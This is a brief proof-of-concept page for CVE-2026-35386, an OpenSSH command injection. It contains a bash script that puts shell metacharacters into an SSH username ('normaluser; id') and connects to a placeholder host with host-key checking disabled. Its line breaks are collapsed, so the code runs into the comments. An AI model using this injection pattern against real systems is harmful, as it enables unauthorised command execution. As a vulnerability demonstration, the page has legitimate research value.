CVE-2026-35386 OpenSSH 命令注入漏洞

#!/bin/bash # This PoC demonstrates the concept of the vulnerability. # It requires a vulnerable OpenSSH version (< 10.3) and a specific ssh config. # Assume the ssh_config contains a directive that expands %u (username) # into a context that is passed to a shell or executed insecurely. # Malicious username containing shell metacharacters to execute 'id' command MALICIOUS_USER="normaluser; id" # Attempt to connect using the malicious username # In a vulnerable scenario, this would execute 'id' on the client or server side # depending on the specific configuration flaw. ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MALICIOUS_USER@target_host # Note: Successful exploitation depends on the specific non-default % configuration # mentioned in the CVE description.